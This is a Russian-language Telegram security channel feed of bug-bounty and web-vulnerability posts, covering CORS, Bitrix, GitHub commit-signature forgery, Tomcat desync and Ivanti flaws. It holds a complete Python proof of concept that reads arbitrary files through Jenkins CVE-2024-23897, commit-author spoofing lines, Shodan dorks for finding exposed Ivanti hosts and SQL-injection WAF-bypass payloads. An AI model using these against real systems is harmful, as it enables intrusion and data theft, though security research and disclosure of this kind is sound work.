SHADOW:Group
11.6K subscribers
106 photos
47 videos
19 files
821 links
Чат: @shadow_chat_tg

Рекламу не размещаю.

Админ - @shdwpwn
Download Telegram
Forwarded from вольтаж
👁 Курс на мисконфиги. Как поймать проблемный CORS на проде

На новогодних праздниках, вместо поедания мандаринов, решил совместно с SidneyJob, провести исследование поведений браузеров при мисконфигурации CORS.

Разобрали как работает SOP и CORS, посмотрели возможные мисконфиги и способы их эксплуатации, провели несколько экспериментов, и даже вспомнили, как работают регулярки.

Мы даже сделали для этого отдельную лабу! В ней ты сможешь создавать свои PoC'и при мисконфигурация CORS'a и сразу же кидать на них ссылки уже в отчёте.

Всё получившееся собрали вместе и выпустили как нашу первую статью на xakep.ru. Приятного чтения!

https://xakep.ru/2024/01/18/cors-cheatsheet/
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥13👍1😁1
Как ломать 1С-Битрикс

Привет! Теперь я могу выложить статью с помощью которой проскочил на Standoff Hacks. Также команда standoff 365 помогла её отредактировать, за что большое спасибо и теперь я выложил её на хабр 👍

Краткое содержание статьи
⬜️ Что делать, если по всем известной методичке про атаки на битрикс ничего не найдено
⬜️ Откуда появляются самописные скрипты в битриксе
⬜️ Охота и разведка на самописные php скрипты разработчиков
⬜️ Атака + кейс с работы

Приятного чтения & Happy hacking ☺️

📶 Как ломать сайты на «1С-Битрикс»

ЧТНП | #web
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11👍4😢2
Forwarded from Похек (Sergey Zybnev)
🤕 Неочевидные угрозы: как защититься от атак на десериализацию, XSS и чтение произвольных файлов

Злоумышленники могут успешно атаковать 98% веб-приложений. И это не просто громкие цифры, а данные из исследования Positive Technologies. Как такое возможно, если есть инструменты и практики типа SAST, DAST и WAF, а разработчики вроде бы нормально кодят?

Давайте я объясню, как устроены опасные атаки, на примере с разработчиком Василием, который работает в интернет-магазине и которому начальство подкидывает разные интересные задачки.

➡️ Читать далее

🌚 @poxek
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11👍4
💰Как предложение от банка привело к раскрытию личных данных и награде в 5000$

Небольшой рассказ о том, как обычное почтовое предложение позволяло злоумышленнику получить доступ к данным других пользователей и раскрыть конфиденциальную личную информацию.

Ссылка на статью

#web #idor #leak
Please open Telegram to view this post
VIEW IN TELEGRAM
👍17🔥4
Forwarded from Заметки Слонсера (Slonser)
История одной уязвимости в Chrome

Очень простая уязвимость, которую я нашел в Google Chrome. И за которую получил 16000$.
Попытался дать побольше контекста, чтобы увеличить пользу от прочтения материала.
Habr
Twitter
P.S. Лучшей благодарностью, если вам понравился материал - является его распространение.
🔥19👍4😢1
Forwarded from Похек (Sergey Zybnev)
Jenkins RCE CVE-2024-23897

Критическая уязвимость в Jenkins. Позволяет выполнить RCE на атакуемой машине через уязвимый модуль args4j.

PoC
import threading
import http.client
import time
import uuid
import urllib.parse
import sys

if len(sys.argv) != 3:
print('[*] usage: python poc.py http://127.0.0.1:8888/ [/etc/passwd]')
exit()

data_bytes = b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@' + sys.argv[2].encode() + b'\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05zh_CN\x00\x00\x00\x00\x03'
target = urllib.parse.urlparse(sys.argv[1])
uuid_str = str(uuid.uuid4())

print(f'REQ: {data_bytes}\n')

def req1():
conn = http.client.HTTPConnection(target.netloc)
conn.request("POST", "/cli?remoting=false", headers={
"Session": uuid_str,
"Side": "download"
})
print(f'RESPONSE: {conn.getresponse().read()}')

def req2():
conn = http.client.HTTPConnection(target.netloc)
conn.request("POST", "/cli?remoting=false", headers={
"Session": uuid_str,
"Side": "upload",
"Content-type": "application/octet-stream"
}, body=data_bytes)

t1 = threading.Thread(target=req1)
t2 = threading.Thread(target=req2)

t1.start()
time.sleep(0.1)
t2.start()

t1.join()
t2.join()


Использование:
python poc.py http://127.0.0.1:8888/ [/etc/passwd]


🌚 @poxek
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥15👍6
Forwarded from Cybred
Подделка подписей на Github

Перед тем, как что-нибудь закоммитить в репозиторий, git просит пользователя указать имя и email. Если сделать так
git config --global user.name "Linus Torvalds"
git config --global user.email "torvalds@linux-foundation.org"

Github подхватит почту и будет помечать твои коммиты, как будто их на самом деле сделал Линус, — с его именем, аватаркой и ссылкой на профиль https://github.com/torvalds.

Так может сделать любой, и поэтому существует зеленая надпись "Verified" напротив коммитов, подписанных с помощью GPG.

Если отправить что-нибудь через веб, коммит подпишется от имени GitHub <noreply@github.com> и тоже будет считаться верифицированным.

Для этого сырой блоб отправляется на внутренний эндпоинт https://api.github.com/vscs_internal/commit/sign, где его подхватывает gh-gpgsign и возвращает подписанный результат.

На бэкенде проверяется условие, что строка автора из коммита, полученная с помощью регулярки /\Aauthor (.+?) <(.+)>/, должны быть равна имени текущего залогиненного пользователя.

Но имя может быть пустым, тогда коммит будет таким
author  <583231+octocat@users.noreply.github.com> 1682188800 +0000
author username <user@example.com> 1682188800 +0000

где первая строка — сгенерирована автоматически,
а вторая — фейковая, уже отправленная нами.

Первая не подойдет под регулярку, поэтому будет взята вторая, которую мы контролируем. И так мы можем получить галочку "Verified" на коммит с именем Торвальдса без его подписи, или с любым другим именем.

Автору заплатили $10.000. Баг удалось найти в Codespaces, благодаря реверсу GitHub Enterprise Server Trial VM.
🔥17👍5🤔1
💻 Раскрытые уязвимости с багбаунти, ч.8

1️⃣ Remote Code Execution через Local File Inclusion

2️⃣ Reflected XSS на поддомене American Airlines

3️⃣ Stored XSS на сайте Microsoft

#web #rce #xss
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥16👍4
​​😒 Apache Tomcat HTTP Request Smuggling (Client- Side Desync)

Недавно была найдена критическая уязвимость в Apache Tomcat, которой был присвоен код CVE-2024-21733.

Уязвимость позволяет злоумышленникам заставить браузер жертвы рассинхронизировать свое соединение с веб-сайтами, размещенными поверх Apache Tomcat, что приводит к контрабанде конфиденциальных данных с сервера и/или клиентских подключений (смотри скрин ниже).

Для получения дополнительной информации об атаках десинхронизации со стороны клиента, можете почитать исследование Джеймса Кеттла.

Ссылка на отчет

#web #cve #poc
Please open Telegram to view this post
VIEW IN TELEGRAM
🤯8🔥5👍2
😈 Обнаружение нестандартных заголовков в API с помощью фильтров Burp Bambdas

Что, если я скажу вам, что многие API используют нестандартные пользовательские HTTP-заголовки для управления бизнес-логикой и поведением?

Одним из простых способов увидеть такие заголовки в Burp, является применение шаблона для Bambdas:

if( !requestResponse.hasResponse() )
{
return false;
}

String[] standardHeaders = {
"accept-patch",
"accept-ranges",
"access-control-allow-credentials",
"access-control-allow-headers",
"access-control-allow-methods",
"access-control-allow-origin",
"access-control-expose-headers",
"access-control-max-age",
"age",
"allow",
"alt-svc",
"cache-control",
"clear-site-data",
"connection",
"content-disposition",
"content-encoding",
"content-language",
"content-length",
"content-location",
"content-range",
"content-security-policy",
"content-transfer-encoding",
"content-type",
"cross-origin-embedder-policy",
"cross-origin-opener-policy",
"cross-origin-resource-policy",
"date",
"delta-base",
"etag",
"expect-ct",
"expires",
"feature-policy",
"host",
"im",
"keep-alive",
"last-modified",
"link",
"location",
"pragma",
"proxy-authenticate",
"public-key-pins",
"referrer-policy",
"retry-after",
"server",
"set-cookie",
"strict-transport-security",
"tk",
"trailer",
"transfer-encoding",
"upgrade",
"vary",
"via",
"warning",
"www-authenticate",
"x-content-type-options",
"x-frame-options",
"x-permitted-cross-domain-policies",
"x-xss-protection"
};

List headersList = Arrays.asList(standardHeaders);

var headers = requestResponse.response().headers();

List unexpectedHeaders = new ArrayList();

for( var header : headers ) {
var headerName = header.name().toLowerCase();
if( !headersList.contains( headerName ) ) {
unexpectedHeaders.add( headerName );
}
}

if( unexpectedHeaders.size() > 0 ) {
requestResponse.annotations().setHighlightColor( HighlightColor.GRAY );
requestResponse.annotations().setNotes(
"Non-standard Headers: " + String.join( ",", unexpectedHeaders )
);
}
else {
// Maybe don't trample on existing Notes in the future??
requestResponse.annotations().setHighlightColor( HighlightColor.NONE );
requestResponse.annotations().setNotes("");
}

return true;


Подробнее про составление этого шаблона и возможности по его кастомизации читайте тут.

А если вы ничего не знаете о фильтрах Bambdas, то рекомендую вам ознакомиться со статьей о написании фильтров Bambda Like a Boss. В ней подробно описано, что это такое, почему вас это должно заинтересовать и как начать с этим работать.

#web #tools #burp
Please open Telegram to view this post
VIEW IN TELEGRAM
👍22😢1
​​📱 Обход WAF через мобильное приложение

Иногда WAF на вебе не позволяют встраивать полезную нагрузку в запросы, однако вы можете ввести свою полезную нагрузку через приложение для Android или IOS и она может отработать на веб-сайте без какой-либо блокировки.

#web #waf
Please open Telegram to view this post
VIEW IN TELEGRAM
👍15🔥6
​​💉 SQLi-Sleeps

Небольшой скрипт для автоматизации поиска Time-Based SQL инъекций в списке url-адресов.

Ссылка на GitHub

#web #sqli
👍16
💀 SSRF приводящий к RCE в Ivanti Connect Secure

Раскрытый сегодня PoC для SSRF в Ivanti Pulse Connect Secure (CVE-2024-21893) является отличным примером того, как с помощью полностью слепой SSRF можно достичь RCE.

Подробнее читайте в блоге по ссылке.

Дорк для Shodan:
http.favicon.hash:-1439222863 html:"welcome.cgi?p=logo"


Ссылка на PoC
Ссылка на шаблон Nuclei

#web #cve #ssrf #rce #dork
Please open Telegram to view this post
VIEW IN TELEGRAM
👍9🔥7🤯3
🧠 Захват аккаунта ChatGPT - Wildcard Web Cache Deception

История о том как проблемы с wildcard и несоответствием в нормализации путей между CDN и веб-сервером могут привести к кэширования важных конечных точек.

Ссылка на статью

#web #cache #ato
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥12🤔3👍1
🎤Подкаст Just Security by Awillix #3. Путь исследователя

На выходных послушал подкаст с Paul Axe, на счету которого несколько 0day'ев, множество RCE'шек, участия в международных конференциях и CTF'ах и тд… Рекомендую глянуть и вам про его опыт, мотивацию, подход к поиску уязвимостей, багбаунти, CTF и сертификации.

#web #ctf #0day #bb
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥9👍4😁1
Forwarded from Standoff 365
🔥 Positive Technologies запускает багбаунти на 60 млн рублей!

В программу Positive Dream Hunting добавлено второе недопустимое событие — внедрение закладки в код продуктов Positive Technologies.

Вознаграждение получит багхантер (или команда), который сможет разместить условно вредоносную рабочую сборку с потенциально зловредным кодом на внутреннем сервере обновлений gus.ptsecurity.com либо публичных серверах update.ptsecurity.com.

Белым хакерам, которые выполнят один или несколько шагов до потенциальной реализации недопустимого события, будет присуждаться поощрительное вознаграждение. В частности:

300–500 тыс. рублей — за преодоление сетевого периметра и закрепление на узле

3–5 млн рублей — за внедрение кода в публичный релиз продукта на этапе хранения или тестирования

Все условия программы можно найти на нашем сайте.

Кроме того, Positive Technologies увеличивает вознаграждение за реализацию первого недопустимого события — кражу денег со счетов — до 60 млн рублей. До сих пор выполнить сценарий полностью не смог ни один багхантер.

😏 Испытать свои силы можно здесь: https://bugbounty.standoff365.com/programs/ptsecurity_ns/
👍6😢4
​​💉 Про обход защиты от SQL-инъекций

Часто WAF на сайте душит все попытки провести SQL-инъекцию и не дает нормально воткнуть кавычку и вставить привычный пэйлоад, однако, нехитрыми манипуляциями все же частенько его можно обойти.

Например, добавив управляющие символы , типа %00, %0A и др. или вставив математические операции ('AND'1'=1*1 вместо 'AND'1'='1') или добавив специфичные комментарии типа /*!50000%55nIoN*/ /*!50000%53eLeCt*/ и многое другое.

Еще больше примеров, вы можете найти в этом репозитории, где приведены варианты байпасса для различных ситуаций, а также крайне рекомендую этот сайт.

#web #sqli #bypass #waf
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥30👍5
🫤 Ivanti XML External Entity (XXE)

Обнаружена XXE в продуктах Ivanti (CVE-2024-22024), позволяющая неавторизованному злоумышленнику, получить доступ к внутренним ресурсам. Подробнее читайте в блоге.

Дорк для Shodan:
http.favicon.hash:-1439222863 html:"welcome.cgi?p=logo"


Шаблон для Nuclei
PoC на GitHub

#web #cve #dork #xxe
Please open Telegram to view this post
VIEW IN TELEGRAM
👍13😁2